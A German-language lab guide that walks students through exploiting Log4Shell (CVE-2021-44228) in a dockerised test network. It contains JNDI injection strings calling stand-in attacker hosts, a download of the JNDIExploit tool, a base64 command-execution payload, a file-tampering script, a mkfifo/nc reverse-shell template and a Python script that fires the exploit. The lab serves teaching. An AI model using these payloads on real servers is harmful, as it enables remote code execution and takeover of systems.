Log4Shell CVE-2021-44228 Demo
Ende 2021 war die größte Nachricht in der Sicherheitsbranche die Log4j-Schwachstelle mit der Nummer CVE-2021-44228, auch bekannt als Log4Shell. Im CVSS-Schwachstellenbewertungssystem wurde sie mit 10 Punkten, der schwerwiegendsten Stufe, bewertet und gilt als die bedeutendste Schwachstelle der letzten Jahre nach Heartbleed und ShellShock. Manche beschreiben sie sogar als „Schwachstelle mit Atomsprengkraft“, was die Tragweite dieser Verwundbarkeit verdeutlicht. In diesem Projekt analysieren wir CVE-2021-44228 und führen dazu ein Lab durch.
Eine Logdatei (Protokolldatei) ist eine Datei, die Ereignisse aufzeichnet, die in einem laufenden Betriebssystem oder einer Software auftreten, oder Nachrichten, die zwischen Benutzern in Internet-Chat-Software übertragen werden. Viele Betriebssysteme, Software-Frameworks und Programme enthalten Protokolldateisysteme. Java verfügt über ein sehr nützliches Log-Paket namens Log4j. Dieses Paket gehört zur Apache Software Foundation, daher lautet der vollständige Name Apache Log4j.
Log4j ist ein sehr nützliches Werkzeug, das häufig in Java-Programmen verwendet wird. Oft müssen Softwareentwickler Daten aus laufenden Programmen in Protokolldateien oder andere Datenbanken schreiben, um sie später zu verwenden. Genau dafür ist Log4j da: Es kann eine Zeichenkette von einer Stelle entgegennehmen (z. B. die Benutzer-ID, die auf dem Anmeldebildschirm eingegeben wird) und sie an eine andere Stelle schreiben (z. B. in das Dateneingabefeld des Authentifizierungsprozesses). Über das einfache Kopieren/Einfügen hinaus kann Log4j den Inhalt von Zeichenketten prüfen und interpretieren. Und genau das Interpretieren ist eine gefährliche Aktion, denn wenn das Programm die Zeichenkette nicht vorher bereinigt, können beim Interpretieren leicht Probleme auftreten. Log4j bereinigt die Zeichenkette nicht, bevor es sie interpretiert, sodass Angreifer die Möglichkeit haben, Injektionsangriffe (Injection) durchzuführen.
CVE-2021-44228 ist eine schwerwiegende Schwachstelle, da sie es nicht authentifizierten Angreifern ermöglicht, RCE (Remote Code Execution, Angriff zur entfernten Codeausführung) auf Java-Servern auszuführen. Die Schwachstelle hat ihren Ursprung in der Art und Weise, wie log4j Protokollnachrichten verarbeitet. Wenn ein Angreifer eine präparierte Nachricht sendet (die eine Zeichenkette wie ${jndi:ldap://rogueldapserver.com/a} enthält), kann dies dazu führen, dass eine externe Code-Klasse oder ein Message-Lookup geladen und ausgeführt wird, was zu RCE führt.

Im Folgenden wird der grundlegende Ablauf von RCE beschrieben.
$ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
Bitte laden Sie zuerst die SEED Ubuntu 20.04 VM herunter. Diese VM bietet eine installierte Docker-Umgebung. Download
$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ docker-compose build # Build the container image
$ docker-compose up # Start the container
$ docker-compose down # Shut down the container
# Aliases for the Compose commands above
$ dcbuild # Alias for: docker-compose build
$ dcup # Alias for: docker-compose up
$ dcdown # Alias for: docker-compose down
$ dockps # Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id> # Alias for: docker exec -it <id> /bin/bash
# The following example shows how to get a shell inside hostC
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#
Um die Schritte zu vereinfachen, befinden sich alle Server im selben LAN.

In dieser Aufgabe können Sie sich damit vertraut machen, wie log4j funktioniert. Sie können den X-Api-Version-Header verwenden, um mit log4j Protokolle zu erstellen.
# <> 是使用者需要修改的內容
$ curl <server:ip> -H 'X-Api-Version: <version-number>'
Wenn der Server Ihre Anfrage korrekt interpretiert, gibt er ein Hello World! zurück.
Halten Sie im Bericht fest, was der Server zurückgegeben hat und ob der Server die Anfrage korrekt interpretiert und ein Protokoll erstellt hat.
Im Jahr 2013 wurde dem Log4j-Paket das Plugin „JNDILookup“ hinzugefügt, das Entwicklern ermöglicht, über JNDI in Kombination mit LDAP Java-Datenobjekte aus anderen externen JNDITutorials abzurufen.
Als Nächstes verwenden wir das eben genutzte log4j in Kombination mit JNDIExploit, um den Server dazu zu bringen, den von uns gewünschten Befehl auszuführen.
# <> 是使用者需要修改的內容
$ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'
Bitte erstellen Sie eine Datei secret.txt im Ordner /tmp und melden Sie sich am Server an, um zu prüfen, ob die Datei erfolgreich erstellt wurde.
Hinweis-1: <content> darf nicht direkt einen Befehl enthalten; es muss umgewandelt werden.
Hinweis-2: Davulnerable-appkeine/bin/bash-Shell zur Verfügung hat, können Sie zum Prüfen der Datei den Docker-Befehl verwenden.
$ docker exec vulnerable-app ls /tmp
Nach den vorherigen Aufgaben haben wir festgestellt, dass vulnerable-app jeden base64-Befehl des Angreifers ausführt. Wenn ein Angreifer komplexere Operationen durchführen möchte, kann er ein shell script-Angriffsskript senden, das der Server ausführt.
$ cd /var/www
$ head -c <head-num> index.html > tmp
$ echo -n <score> >> tmp
$ tail -c <tail-num> index.html >> tmp
$ mv tmp index.html
Das obige Skript modifiziert eine Punktzahl auf der Website; die Punktzahl wird in index.html gespeichert. Führen Sie es zuerst erfolgreich aus und zeigen Sie die Unterschiede auf. Ändern Sie dann das Skript so, dass die Punktzahldatei auf den von Ihnen gewünschten Wert geändert wird.
Hinweis-1: Eine bequeme Methode zum Ändern von Dateien ist auch
sed.
Hinweis-2: Davulnerable-appes Benutzern nicht erlaubt, /var/www über den Browser einzusehen, können Sie zum Prüfen der Datei den Docker-Befehl verwenden.
$ docker exec vulnerable-app cat /var/www/index.html
Nach den vorherigen Aufgaben sind wir in der Lage, unsere gewünschten Befehle in base64 umzuwandeln und vom Server ausführen zu lassen. Um die volle Kontrolle über den Server zu erlangen, können wir mit Befehlen eine Reverse Shell einrichten.
# <> 是使用者需要修改的內容
$ mkfifo <file-name>
$ cat <file-name> | sh -i <io-turn> | nc <attacker-ip:port> > <file-name>
Um den Ablauf zu vereinfachen, stellen wir ein Python-Skript für den Angriff bereit.
import os
import sys
import base64
import requests
ldap = '###' # user modify
server_ip = '###' # user modify
cmd = sys.argv[1]
data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
data = data.replace('+', '%2B')
print(data)
os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
$ ./script '<command>'
Hinweis:
vulnerable-appbesitzt weder/bin/bashnoch/dev/tcp, daher ist die übliche Methode für eine Reverse Shell nicht möglich. Wir können jedoch eine Pipe-Datei erstellen, um darauf lesend und schreibend zuzugreifen.
$ mkfifo <file-name>